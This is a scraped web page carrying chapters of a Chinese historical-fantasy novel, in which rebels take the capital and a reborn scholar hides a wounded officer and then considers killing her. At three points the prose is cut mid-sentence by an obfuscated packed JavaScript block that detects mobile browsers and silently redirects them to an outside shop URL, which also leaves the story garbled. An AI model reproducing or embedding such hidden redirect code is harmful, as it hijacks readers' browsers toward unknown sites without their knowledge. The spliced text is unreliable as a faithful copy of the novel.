皇宫巍峨耸立在春阳之下,日光灿金,千万叠檐在金光中兀自缄默,如何能看出这与皇权同等威严浩荡的宫阙将被卷入战争的轮下?更远处,宫城外、皇城外,他目力所不及之处,凶狠的蓬州兵即将渡过被鲜血染红的棠水,扑向高不可攀的庙堂。 他收回目光,注视母亲忧虑的眼睛:“我不会回去的。” “社稷摇荡,国难临头,琮岂能抛君弃亲、龟缩避趋。” 丑时三刻,裴应弦忽然自梦中惊醒。 佩刀就横在身侧,她翻身坐起,探手握住刀柄,冷铁紧密地贴合着她的掌纹,锋锐的凉意让她的心跳渐渐平复。 昏沉的残梦仍在脑海中徘徊,梦境的结尾,一片混乱的火光中,剑光猛地劈开烟尘,接着,孟钦双目怒睁的头颅滚落在地上。 裴应弦为这梦中不祥的景象感到一阵难以自抑的烦乱怒意。 午后时分,几名内侍打扮的人到营地中来,趾高气扬地转了一圈,而后不由分说扣押了跪地接旨的大将军孟钦。 拖延不进、延误战机? ——多荒唐!哪怕是头一次上战场的裴应弦也知道,稳扎稳打是当下最优的选择。还有两州的援军仍在路上,联军人数上不比叛军,不能贸然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999078|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进攻。而且,联军背靠澧阳城,粮草充足,运输便捷,叛军的辎重却要自枚州经衡夷关运进京畿地区,耗时耗力,颇为不便。这种情况下,强行渡过棠水开战绝不是什么好的选择。乔逸难道连这种事都想不明白?裴应弦不信。 也许乔大人只是觉得,比起将士们的性命、守城兵士的安危,她展示手中所持握的、生杀由断的豪权的机会更难得吧——毕竟,被她拿下的可是威名赫赫的大将军孟钦啊! 裴应弦咬牙切齿地看着那几名内侍把孟将军塞进囚车带走。薛令仪按着她的肩膀,申晚照握着她的手腕,裴子深递给她警告的眼神,她闭上眼深深地呼吸,按捺住肺腑中翻涌的强烈杀意。 乔逸不敢真的动孟钦的。否则将军府的精兵怕是很难再为她所用。 当务之急不是朝堂上像幼童摆弄新玩具般把玩权势的乔逸,而是棠水对岸虎视眈眈的叛军。 下午,执金吾于夋、微州刺史薛令仪及北军虎贲、屯骑两校尉匆忙碰了头,简单定下微州兵在东、将军本部兵在中、北军将士在西的防守布局,两两之间则分别夹着裴子深带领的裴家兵,以及从羽林、期门两军中调来的士兵。 棠水在澧阳北偏西侧有一片水流平缓的浅滩,相对易于渡河,若要进攻,那里是最好的切入点,故而重点设防。 北军将士人数众多,训练有素,应当不会有什么…… 裴应弦躺回去的动作顿住了。她凝神静听片刻,忽然翻身下床,伏在地面,把耳朵贴在了地上。 她的脸色变了。 马蹄声连成一片滚滚而至的震雷,裹卷着铁与火与血的气息,隆隆淹没她的耳朵。 她抓起长刀冲出营帐,在西方的天幕上看到一片不祥的暗红。 火! 几乎同一时间,营地边缘炸开一声惊雷似的鼓声。而后是第二声、第三声。 鼓槌轰然砸上仍在震颤不休的鼓面,彻底击碎了夜晚岌岌可危的宁静。 精疲力尽的马狂奔冲入营地,马背上,守夜的士兵声嘶力竭地吼起来:“敌袭!” “叛军渡河——枚州军已渡棠水!!” 一支又一支火把亮起来,士兵从营帐中涌出,面色紧绷,兵刃上的火光摇晃成一片血色。 心脏剧烈地撞击胸膛,裴应弦闪身扯过马缰翻身上马,正要转头吩咐跟上来的小兵整备,话却僵在舌尖。 东侧地势更高些,站在地面尚看不出,坐在马上,却能将河流下游的情形尽收眼底。 她看见一片煌煌火焰正冲向她所在的营地,火光中是宣武将军麾下蓬州兵的铁甲。太近了,近得令人感到不可思议—— 她率领的那一小部分微州兵,驻扎在整个联军大营的最东侧,若敌军自西北渡河,本该最晚遇上她们! 一匹棕马绕过有序往外奔跑的人流冲到裴应弦面前,那小兵面色惶然,口齿倒还清晰:“子深将军要我告诉您,情况很不利——她要您速速带人撤进澧阳城。” 裴应弦闻言怒极而笑,倏地一把抽出刀来:“裴子深,你竟敢让我不战而逃?!” 11. 月黑雁飞高(一) 喊杀声。惨叫声。刀剑叮铮声。 血味混杂着焚灰的气息,在夜风中刺鼻地张扬着。 叛军无穷无尽般涌来,棠水南岸,火光映着刀光,连缀成一片凶险血腥的网,不可抵挡似的,向古老的都城笼罩而去。 叛军的突袭并非毫无征兆,大军渡河也不可能不惊动岸边警备的守夜兵士,士兵们做好了应战的准备,交锋却比预料中来得更早、更猛、更险恶。 北军士卒万人,连一个时辰也没撑到,便在执金吾于夋的带领下仓皇逃窜,沿着澧阳城西外墙向南奔逃,要从西侧城门撤回城内去。 ——于夋甚至连坚守的指令都未下达,这废物被亲卫从梦中摇醒的时候还胡乱发了好一通脾气。听到宣武将军麾下将士已渡河攻入北军大营,他才一下子慌张起来,吼着让几位校尉领兵应战,自己则在亲卫的团团保护下屁滚尿流地跑了。 他一跑,手下自然不愿留在后面送死。南军调来的都是些年轻人,别说战场,有的人连血都没见过。遥远的火光和喊杀声已经足够摇颤她们的心肝,见大军南退,就更是心生怯意,一刻不肯多留了。 只屯骑校尉不肯落荒而逃,借着营中鹿角、拒马与壕沟勉力周旋。可她手底下到底只有千余人,即便拼死抵抗亦无力回天。 把孟钦都给踹了就为了捧他上位,结果捧出来了个什么玩意儿?这于夋能废物成这样,也真算是个奇观了! 裴应弦不知在心里骂了于夋多少遍,连带着乔逸对孟钦下手的事,新仇旧恨往一处叠,灼得她心口火烫。 骂归骂,这时候她还没意识到情况究竟有多严峻。 敌军是人数众多不假,但孟钦亲自训出来的部曲和她们裴家的兵士不说以一当十,每人打三五个还是做得到的。只要能把敌人往北逼进棠水,这防线就还勉强守得住。 哪怕当真守不住,退到城墙下,城头上的守城士兵也能援助她们。 但她没想到,孟钦手下的亲兵,反了。 完了。纵马跃出时,那份近乎荒谬的不可置信感几乎砸得她眼花。外敌如狼似虎,友军抱头鼠窜,中坚力量临阵倒戈——理智在苦口婆心地劝她:这仗根本没法打,不想死得太难看,就该立刻撤回澧阳去。 守城总比守河容易,百丈高墙可不是白筑的。 这样的念头只存在了片刻,她还是咬牙迎上了敌阵。 她背后还有万余微州兵,她不信薛令仪会和于夋一样还没开打就先仓皇逃命,把大宪的脸面踩在地上摩擦。 一支箭几乎擦着她的肩膀飞过去,战马发出吃痛的嘶吼,向左前方危险地一趔趄。 裴应弦猛地一扯缰绳,身体后仰,挥刀荡开迎面斩来的锋刃,还未来得及喘口气,一柄长矛已毒蛇般自身侧刺向她腰间。 要调整重心再躲已然来不及,她面色不改,只改挡为劈,将面前的兵卒斩落下马,要拼着吃下这一刺的伤害撕开对方的阵型。 她绷紧了腰腹,预想中的疼痛却没有咬中她的皮肉。 一声刺耳的金属碰撞声在斜后方当啷炸响,她麾下最年轻的屯长替她架住这一击。她与对方对视一眼,什么也来不及说,便被冷铁寒光卷入新的战斗中去。 裴应弦感到十分混乱,且窝火。她全凭本能地驱马冲进窄巷,在屋舍间七拐八拐,试图甩掉身后穷追不舍的敌人。 怒火令她冲得太靠前,与微州兵的大部队在乱军中被冲散,不得不在城东且战且退,退到城墙下不远时已筋疲力尽。 好在城头守军仍恪尽职守,看清她与身后队伍的打扮后,弓手立刻在城墙上列队,待她们驰至城下时,箭雨便铺天盖地落向身后追兵。身后枚州兵追击的势头为止一阻,裴应弦得了喘息的机会,这才有余裕细数跟上来的人。 薛令仪加裴应弦军司马,领兵四百随军西进。然而被一路穷追猛打,此刻跟上来的已不足百人,且看上去皆筋疲力尽、狼狈不堪。 城门开启声扯回她的注意,裴应弦不敢拖延,一马当先渡过护城河,自东平门冲入了澧阳城中。 危急时刻顾不上什么宵禁,她没在城门守军处多留,下意识带人往皇宫赶。于夋从西阳门撤回城内,不出意外也要先回皇宫去,她纵使再看不上他,现下也得先合兵一处再做打算。 而且,退回城里虽说本非她所愿,却也不完全是件坏事。她在城内,薛令仪与裴子深在城外,无论配合还是周转,都要更方便些。 然而刚一个转弯冲过澧阳城纵贯南北的主路梧桐大街,一旁的巷子里便骤然扑出一片阴云似的密影来。 火把摇晃的光芒中,来者的打扮让裴应弦心中暗惊——不是南北两军中接应或维持秩序的部队,面前这持刀掣剑来势汹汹的,分明是一队人高马大的蓬州兵! 怎么会?!澧阳城内怎么可能会有蓬州兵! 她沿着城东自北向南退,东阳门、东平门均守备森严,不可能被趁虚而入,更不可能在这么短时间内被攻破。路士铮的枚州兵还在城北与薛令仪的微州兵交战,蓬州兵应该追着于夋去了…… 西阳门? 澧阳城西……被攻破了? 来不及多想,敌人已经杀到了眼前。混战中,裴应弦左臂上挨了一刀,痛得她险些跌下马去。她带来的人太少,对方几乎有她三倍人手,且梧桐大街宽阔平坦,壮硕高大的蓬州兵在此地势不可挡。裴应弦一咬牙,向身后士卒发出散开的信号。 蓬州地域辽阔,平野茫茫,士兵驭马也好、出招也好,都更习惯于大开大合地直取要害,在狭窄的、四通八达的街巷中,绝对不如微州骑手灵活。 裴应弦身后那一小队骑兵四散入澧阳城中的街巷间,像往山石中撒入一把豆子,很快滚得不见踪影。 但咬在她身后的一撮人却追得很紧,几次转向都甩不开。 马蹄声阴魂不散地缀在身后不远处,裴应弦精神紧绷,无暇回头确认距离,驱马沿着道路往南狂奔。 奔波了半个晚上,马已经有些疲了,窄巷中又漆黑一片,冲过一口水井时,马被倒下的桶拌了一趔趄,险些把裴应弦甩出去。而只这片刻的耽搁,追兵已近了,一支箭从她头顶飞过去,倏地钉进路旁伸出矮墙的树枝上。 要被追上了。她清晰地意识到死亡在逼近,然而与此同时,另一种灼灼燃烧的强烈愤怒也在逼近,燎热她的魂魄。 ——不就是骑射么,难道我不会? 窄巷平直,无可转弯迂回之处,裴应弦猛地擎弓在手,搭箭控弦的同时拧腰转身,在颠簸中凝目。 左臂上的伤口因发力而疼痛,但此刻,疼痛已经成为最微弱的干扰项。追兵手里那团摇晃着的火光照亮模糊的面容,像无尽黑暗中明亮的靶心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999079|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓弦一颤,羽箭破空而出,精准而狠厉地钉进打头追兵的眼窝。窄巷里响起一声凄厉的痛呼,打头的追兵摔落下马,仅容一马通行的巷子登时拥堵,火光很快被裴应弦甩在身后。 她还没来得及松口气,为自己这如有神助般的一箭短暂地沾沾自喜一下,就听身下战马一声哀鸣,接着天旋地转—— 她叮铃咣当地摔进了草丛里。 果然再英姿飒爽都只能维持一刹那。疼痛中她晕乎乎地想。 全身上下没有一处不在疼,最要命的是左膝痛得离谱,不知是扭伤还是根本就摔断了,她只能勉强爬起来,跑却是一步也别想跑了。左臂上本已止住血的伤口一摔之下重新裂开,血汩汩往外冒,很快把衣袖浸得更湿,头盔也摔了出去,在草丛里滚出好远。 抹掉额上要淌进眼睛里的血,裴应弦一边嘶嘶抽气一边扶着草丛旁边的墙艰难地站了起来。 这似乎是一处规模较大的建筑后方,后墙塌了个豁口出来,她回头射箭没看路,马跑得急,绊倒在了豁口下面一尺来高的残砖上。 现如今,马半死不活地躺在地上,眼看是指望不上了,自己也跑不得,追兵又近—— 裴应弦把目光转向前方黑灯瞎火的建筑。 没搞错的话,她从城东进来,被追着一路向南跑,现下应该是跑到了灵台附近。 早先攻破城门闯进来的叛军目标很明确,就是冲着皇宫去的,因此入城后都转而向北了,澧阳城南部还维持着岌岌可危的相对平静。灵台、明堂一带,平日便少有人来,此时更是寂静一片——不算上追兵越来越近的骂声和马蹄声的话。 火光在巷子远处摇晃起来,越来越近,人声也越来越响。没时间犹豫了,此刻也没有更好的选择,裴应弦深吸一口气,拖动着剧痛的左腿,往前方黑乎乎一片的建筑挪去。 建筑物占地面积很大,好几座堂屋连成一片,昏黑夜色中颇为高大威严地耸立着。看起来不像民居的规制,但裴应弦摔得脑袋发晕,一时间实在想不起这到底是哪。 她勉强沿着回廊转到一扇侧门前,待要伸手推门,又警惕地顿住,先抽出了腰间长刀。 陈旧的木门轴转动时吱呀轻响,裴应弦闪身跨过门槛,刀立刻举了起来。 房间里还有另一道呼吸声,正因门的开启而乱了节奏,仿佛乍从浅眠之中惊醒。 恰夜云微移,玉盘光转,霜白的月色沿着半开的门扉淌进室内,浸了满地凄凄的冰凉。裴应弦适应了黑暗的眼睛眯起,目光沿着刀刃滑出去,落进未被照亮的堂屋深处。 案几上散乱着几册书卷、一摞墨痕凌乱的纸,一支熄灭的蜡烛立在桌角上。木桌之后,一人正面色困倦地从满桌书卷上支起脑袋来。 发髻要散不散,额上一道红印,目光涣散,衣领松散,如果不是那张标致漂亮的脸太眼熟,裴应弦绝不会把面前这个不整洁、不体面、不端正的人和记忆里的莹璧公子联系起来。 然而,就算此刻不整洁、不体面、不端正,他看起来仍然……相当赏心悦目。 欣赏归欣赏,裴应弦还是没有放下刀。 那双眼尾微垂的无辜鹿眼在看清指向自己的兵刃后讶然地睁大了。在对方开口之前,裴应弦扯出一个假笑,小声道:“萧二公子,久违了。” “寒暄就免了。现在我需要你……保持安静。” 12. 月黑雁飞高(二) 萧鸣玉在梦境中跌撞,一万棵盛放的红梅簇拥着他,雪下得翩然,好像无数白羽的鸟悄寂无声地折颈坠地,渐渐积得蓬松、肥厚、馥郁。像梅花淹没他的眼睛一样,雪淹没他的双足。 花枝之后有人在笑,有铃铛凌乱的清响,一片深黛色的衣角在艳烈的红与红之间的罅隙中栩栩然曳过,笑声与铃声于是远了。 他知道那笑声属于谁,也明白自己正在做梦。 他应当坐在澧阳太学的博经堂中整理书册,被梦境俘获的前一刻,他正看到“野有蔓草,零露瀼瀼”那一页。 忽而所有梅花同时凋谢了,雪吞噬了一切灼灼的红,他被铺天盖地凄寂的白所裹卷。雪的囹圄中,他听见一声细微的响动,比冰裂浑浊,比折枝柔和,一扇门在无尽的白的深处开启,萧鸣玉头晕目眩地抬眼,朦胧的视野中绽出一朵红梅。 他缓慢地眨眼。 没有红梅。那抹艳烈的赤红,是衣上血。 一阵冰凉刺痛的战栗滚过萧鸣玉的后脊,他顷刻全然地清醒了。 裴应弦在两步外执刀俯视他,衣衫上尽是血迹与尘灰,站姿别扭,形容狼狈,左臂上一道深长的伤口还在往外冒血,整个衣袖都被染成湿而腥的深红。 他疑心自己睡昏了头,裴应弦此时为何会出现在这里?她的刀这样指着萧鸣玉——难道裴应弦知道了他是重活一遭,知道他对她心怀恨意,要先下手为强,特意前来解决他? 或者,莫非,二十年后的北燕大帝,也一并回到此时,要向他这不忠的臣子讨还血债? 这猜测令他的腑脏发颤,恐惧与莫名的兴奋攫住他,他一时喉头发堵,一个字也说不出口。 见他抬头,这好似刚经过一场恶战的家伙提起半边嘴角,扯出一个堪称敷衍的假笑,配上那张脸上的涸血与污渍,恶鬼似的渗人:“萧二公子,久违了。” 萧鸣玉的心一下子坠回腹中。会叫他“萧二公子”的,只能是十七岁的,只与他见过一面的裴应弦。 他勉强张了张嘴,正要开口,却被对方先一步打断了。 “寒暄就免了,我需要你保持安静。”裴应弦说话时用眼角瞥着门外的回廊,萧鸣玉从那种莫名的情绪中解脱,一下便明白过来,她是被人一路追赶到此。 是否该在此刻高声呼唤追兵,让别人替我取她性命?只是,谁有资格……取她性命?这问题只在萧鸣玉脑海中闪过了极短暂的片刻,他几乎是本能般站起身,引着裴应弦走向房间的角落,推开了一扇半掩的柜门。 一摞字迹各不相同的纸张随着他的动作散落在地,门后露出半人高的空间,零星散落着写满字的纸。 黑暗中,裴应弦好像是思忖着打量了他几秒,在博经堂后传来隐约的人声时快速弯腰钻了进去。 一句话含在萧鸣玉舌尖,因裴应弦那句“保持安静”的制止始终没能说出口。 你在流血。他想说,又后知后觉意识到那是句废话。 萧鸣玉重新掩好柜门,只觉心脏剧烈地撞击着胸骨,收拾纸张的手微微发颤。来不及,脚边散乱的纸又太明显,他猛地抬头环顾四周,一把扯开了另一只木制的矮柜,把其中存放的太学生的抄写抓出一把撒在了地面上。 满地狼藉他犹嫌不够,快步回到桌边后又将座位旁整齐摞起的一叠书册全数推翻,看着它们七零八落地横在地上,这才重新在桌前俯身趴下,做出深夜阅读不胜倦意睡去的模样。 这一切举动都全然出于本能。重新趴下后,他才迟缓地意识到自己方才究竟做了什么。 几乎在他刚刚趴下的下一刻,几道脚步声便转过堂外回廊,停在了博经堂门前。那几名蓬州兵显然对太学不存在半点应有的敬意,砰的一声踹开了门。 萧鸣玉本就神经紧绷,又被这突如其来的巨响一惊,险些从桌子后跳起来。 他浑身一颤从桌面上支起身子,沙哑的声音还带着紧张的微颤,一副惊魂未定的模样:“什么人?” 为首一人浑身上下尽是淋漓血迹,俨然杀红了眼的模样,根本懒得和他多话,直接举起了手中兵刃。 “等等,”最后进来的蓬州兵拦住她,皱起眉狐疑地上下打量起萧鸣玉来,“你又是什么人?大半夜的,在这里干什么?” “我乃当朝博士萧琮,奉仆射孙大人之命前来太学整理书册。”萧鸣玉绷着声音说,“汝等闯入太学,意欲何为?” 同样是直面锋刃,他却奇异地发现,此时他似乎不再感到恐惧了。被裴应弦拿刀指着时在他腹腔中震颤的难言的惧意与复杂却激烈的莫名振奋此时全然消失,面对这名蓬州兵的刀刃,他只感到平静,或许还有一点点厌恶和烦躁——她刀锋上滴下的血弄脏了桌上的笔记,那一页他需得重新誊写一遍。 最后进来那名蓬州兵衣着打扮与另外三人不大一样,像是级别更高些。 “哦……‘莹璧公子’萧琮?”她审视的目光在萧鸣玉身上停了一会儿,皮笑肉不笑道,“打扰公子了,咱们没有冒犯的意思,只是追着一名叛军头领到此,忽然人却不见了,便想问一问公子,可有见到此人?” 萧鸣玉不卑不亢地抬头与她对视,淡声回道:“在诸位不由分说闯入之前,博经堂中仅琮一人而已。” “是么?”那人仰起脸,装模作样地闻了几下,居高临下道,“可我好像闻见了血味。” 萧鸣玉面上显出些薄怒来:“是啊,诸位满身是血地踏足太学圣地,又怎会不将血味带进敬奉先贤、读书习礼的经堂之中?!” “公子息怒,”那蓬州兵在博经堂中扫视一圈,耸肩道,“姊妹们都是粗人,平日里不读书,也不懂你们这许多规矩,倒不是有意搅扰,也没有不敬先贤的意思。” 她把目光移回萧鸣玉脸上:“我们将军很是敬重读书人,尤其是你们萧家,令尊萧尚书和令姐青凤君那可都是响当当的人物,我们将军提起过好多次,说若是能得一见,那是莫大的幸事呢!今夜打扰公子进学,真是对不住了,公子可千万别放在心上。等我们将军进了澧阳,到时候亲自登门拜访道歉,如何?” 萧鸣玉垂眼收拢桌上书册,闭口不答。 那几名蓬州兵见他面色不虞,只简单在博经堂中转了一圈,便转身离开了。 她们沿着走廊往西去了,萧鸣玉仍能听见她们的对话: “那人谁啊,凭什么要那么给他面子?来头很大么?” “萧家人,当朝尚书令萧承安的亲男儿。” “尚书令?那不是乔逸那边的人?那还不让我砍了!” “你除了会砍人还能干什么?收着点吧!将军说了,萧琮拒绝了和晋王的婚事,说明萧家和乔逸不是一边的,我们还能试着拉拢萧家……你长点心,别总是……听将军说……” 声音渐渐远了,直到最后一点儿动静也被窗外窸窣的虫声盖过,萧鸣玉终于长长舒了口气。 听她们的意思,宣武将军想拉拢萧氏?他下意识扯起袖摆,坐在桌前思索起来。 宣武将军似乎认为,他之前拒绝了与陛下的婚事,表明的是萧氏的态度,即与乔氏不是一路人,是朝中有可能被撬动的势力。黄福会这样想其实没错,可她们从何得知这个消息?当天在景宜宫里的,除了先帝岑瑛、现今中书令季回风,应该便只有他了,连高亭郡主都短暂地回避了那场谈话。难道当时屏风后或门外还有别人? 不,现在的重点已经不在这里了。叛军追着裴应弦到了此处,说明澧阳城已经被攻破,而此时距离孟钦下狱不足五日,一切都快得过分。 萧承安前日才因替孟钦说情被勒令“闭门休养”,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999080|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她们家三人谁也进不了宫,无从得知更多情况。而根据他的记忆,澧阳不会被叛军占据太久,缓过劲来的薛令仪和别州援军碰头后便杀了个回马枪。 可……他分明记得,当时提出策略的是申晚照,执行者是裴应弦和裴子深,三位年轻人正是在这一仗中首次打出了声名——但裴应弦现下却出现在了此处? 萧鸣玉拧着眉回头瞥了一眼角落的矮柜。矮柜中没有一点儿动静,不知裴应弦是担心追兵没有走远还是怎么,全然没有自己出来的意思。 他先起身瞄了一眼走廊,确认那几名蓬州兵已经完全不见踪影,这才掩上门,快步向角落走去。 萧鸣玉在木柜前蹲下,抬起手轻轻在木门上叩了两下,低声道:“她们已经走了。” 柜门之后寂然无声,仿佛那里是堆放的纸张,而非一个躲藏的活人。 “裴应……裴大娘子?” 仍然没有任何回应。 萧鸣玉的呼吸一滞,只觉得脑海中一片空白,全凭本能地扯开了柜门。 一道裹着血腥与灰尘味的身影随着木门一齐向外倒出来,萧鸣玉下意识地伸手去扶,隔着衣料触到温热的皮肉。 那颗乱糟糟的脑袋磕进他的肩窝里,吐息柔软而滚烫地蹭过颈侧,萧鸣玉一个激灵,险些把手上扶着的人甩出去。 微妙的、潮湿的痒意绻绻绕过他的脖颈,他在叛军刀锋前都十分平静的指尖开始打颤。裴应弦昏沉地移动了一下脑袋,鬓发挠着萧鸣玉的下颌,挠出一片过热的薄红。 萧鸣玉艰难地重新驯服舌头与唇齿:“裴、裴应弦……醒醒,你——” 被叫到名字的人一动不动,维持着一个扭曲的姿势,一半蜷缩在柜子中,一半瘫软在萧鸣玉身上。 萧鸣玉用尽全力,花了几乎一刻时间,终于勉强把裴应弦从柜子里拖出来。博经堂里没有给人躺的地方,学堂怎么允许人偷懒,萧鸣玉只好把外袍脱下来铺在地上,又把昏迷不醒的裴应弦小心地搬了上去。 裴应弦和他差不多高,却因常年习武而练就了一身结实的骨肉,搬起来绝对算不上轻松。她自己倒是两眼一闭什么也不管了,可结结实实把萧鸣玉累出了满背的汗。 躺在他外袍上的人眉心紧锁,脸色苍白,被血浸透的左袖黏在手臂上,混着尘土与草茬,在萧鸣玉的外袍上蹭开一片殷色。裴应弦的手指僵硬地弯曲着,做出抓握什么的姿势,萧鸣玉盯着看了一会儿才意识到:刀。 她握着刀进去,空着手出来,那把锋刃银亮的长刀,想来还躺在矮柜深处。 ……刀。 萧鸣玉的目光不受控制地飘向博经堂角落。 他像被什么攫住了神智般鬼使神差地站起身,一步一步走向那只矮柜,弯腰取出了那把长刀。 刀对裴应弦来说应当轻重合宜,握在他手中却沉重,萧鸣玉右手握住刀柄,左手托起刀身,小心地把它捧出了木柜。 饮血的冷铁安静地在他掌中蛰伏着,氤氲一线冰冷锐利的杀意。他的面孔模糊地映在银色的刀身上,被一道断续的血线分割成两半,一半惶然,一半狠厉。 萧鸣玉盯着手中的刀想,他应当不会再得到这样的机会了。裴应弦浑身是伤、昏迷不醒,如此不设防地躺在他身后几步外,半点声息也无。四周悄寂无声,追兵已经走远,这偌大的太学中,料想此刻只有他与裴应弦两人。而他的手中握着兵刃,裴应弦却掌心空空。 ……她在这里死于叛军追杀,死于伤口血流不止,听起来都……合理极了。 然而一种巨大的恐慌填满了萧鸣玉的胸腔,他感到呼吸滞涩,那种强烈而不可抗拒惧意宛如绞索般在他颈间收紧,一时间他竟分不清这恐惧的来源—— 他到底是在怕亲手杀人,还是在怕……杀死裴应弦? 13. 不解持照身(一) 冷铁压着掌纹,被血浸透过的锋刃亲昵地贴着他的皮肉,因长时间的相触被渡上半分温热。萧鸣玉盯着掌心的刀,感到浑身上下都在变得与掌中金属一般冷而硬,唯独心脏重重捶击着胸膛,砸得耳中尽是回声。 他不该再犹豫,用裴应弦的命换千万人的命,这交换堪称划算。 也许用一个人还未来得及犯下的罪孽去审判她有失偏颇,但是他分明亲眼见过那样多死在这把刀下的亡魂,合上过无数枉死者们不肯闭上的眼睛。 不杀裴应弦,他往后还要亲睹无数的死,因上泽城内与洺水侧畔那流血漂橹、骸山生蝇的场景夜不能寐。 而杀了裴应弦,他只会……对不起裴应弦一个人。 他只会在梦里一次又一次地看见那双剑一样明锐的眼睛。 萧鸣玉闭上眼睛,深深地吸了口气,用力攥紧刀柄。 他做好决定,也做好觉悟了。 然而就在下一刻,冰裂般地,他背后传来一声吃痛的抽气声,而后是裴应弦沙哑茫然的声音:“……萧公子?” 萧鸣玉持刀的双手不受控制地一抖。 那刀实在太锋锐,只是极轻的一颤,他左手掌心中却豁然被划开一道伤痕。那伤痕浅却长,几乎横着贯穿了他整个左手手掌,血登时涌了出来,粘稠的红驯顺地裹着银亮的刀刃,又沿着掌心的纹路漫漫溢出去。红蜿蜒在他瓷白的皮肤上,像朱笔在勾画什么不祥的符。 疼痛来得很缓,也许刀刃太冰,冷意让他的感觉变得迟钝了,萧鸣玉没感到疼,却在被铺天盖地的熟悉感淹没时感到窒息。 他意识不到自己完全屏住了呼吸,只觉得头晕目眩。一种强烈的恶心自腹中翻涌上来,尖锐的耳鸣声中,萧鸣玉头一次感到巨大的荒谬。 ——一模一样的位置,分毫不差的长度,那伤痕狰狞险恶地盘踞在掌心,与记忆中掌心横亘的旧伤疤猝然重合。 他于是不可抗拒地被它拖拽回努力忘却的回忆中去了。 上一世某年秋天,他刚从卫原回到澧阳,连萧宅的门都还没跨进去,就被惊慌失措的侍从拦住,说裴将军提着刀带人闯入了胡氏的住处。萧鸣玉听得心惊,当即调转方向赶去,然而还是太迟了。 满地金黄的秋叶上,胡氏老老小小跪了满院,将军府的亲兵披坚执锐把她们包围起来,而裴应弦本人的刀正架在胡氏家主的脖子上。 胡氏和萧氏乃是世交,跪在裴应弦身前那位家主是萧承安故友,萧鸣玉往常见她是要称一声胡姨母的。院中场景简直令萧鸣玉五内俱焚——裴应弦忽而举起长刀,毫不迟疑地挥了下去。 “将军!”萧鸣玉肝胆俱裂,在她身后高声疾呼,“——将军且慢!” 那刀于是堪堪停在胡氏家主的肩头。满院寂静中,萧鸣玉踩着落叶快步行来,脚下一片清脆的碎裂声格外刺耳。 裴应弦慢吞吞转过身来,刀刃还点在胡氏家主的肩膀上,脸上没什么表情:“哦,萧先生。先生这样快便从卫原赶回来了?事情可还顺利?” 萧鸣玉的目光飞快地在周围人身上转了一圈,强自镇定道:“一切顺利。倒是将军这边,这是怎么了?” 裴应弦叹了口气,幽幽道:“胡大人说,我出征郸州,做得太过,杀业太重,不是良将所为,有暴戾凶煞之相,要把我从这将军之位上踹下去呢。” 她说话时,那双浓黑的凤眼一瞬不瞬地盯着他,像在捕捉他面上每一丝最细微的情绪。 萧鸣玉呼吸滞住了。 这年春夏,镇安将军裴应弦挥师东北,征伐郸州,打退了南侵的蚩羯人,而后乘胜继续北上……几乎屠了整座上泽城。 上泽在大宪属地的边缘,朝廷对其控制力很弱,其中除了居住着大量不愿继续过游牧生活、或春夏游牧冬季回来定居的蚩羯人,还有许多宪人和一小部分从西侧迁来的安翮人。不同族部在这座边境城中比邻而居,通婚的也大有人在。 裴将军的命令是“上泽境内,凡蚩羯人杀无赦”,然而安翮人与蚩羯人在形貌上难以分辨,加之许多宪人与外族通婚的后裔在外形上也继承了外族的特点,手下将士们真的动起手来,是不会听什么辩解的。 血洗之下,整座上泽城中几乎没留下多少活口。而这些保住了性命的宪人,或失去亲人朋友,或失去赖以生存的基业,或被这残忍的屠戮吓破了胆,纷纷四散而逃,更甚者直接决绝自戕于城中。 上泽,成了一座死城。 萧鸣玉此次并未随军出征,在朝中听闻此事时几乎不敢相信自己的耳朵。 他知道裴应弦恨透了蚩羯人,但做出此等惊世骇俗的恶事,她——她怎么能——她会遗臭万年的啊。 一个犯下如此罄竹难书恶行的人,一个有着如此血腥污点的人,一个竟对黎民百姓动手的、屠城的恶鬼……怎么可能是他所希求的,能匡扶天下的栋梁呢? 他昏昏沉沉病了半月,而后,在裴应弦班师回朝前,他以探亲为名离开了澧阳,在父族路氏所在的卫原待了近一个月。 第三十七天,裴应弦给他写信,说府中少了他许多事一团乱麻,萧先生若是事情办完了,还是早些回澧阳的好。信里亲切自如的语气看得萧鸣玉浑身发冷,他捏着信纸枯坐了一整夜,第二日一早启程回澧阳——尽管他自己都没能想明白他为何做出这样的决定。 此刻,裴应弦的眼睛一眨不眨地注视他,比砚中最浓的墨还要更深、更黑:“我凯旋而归,陛下要封我大将军,我想起先生上次的劝诫,推辞未肯受。” 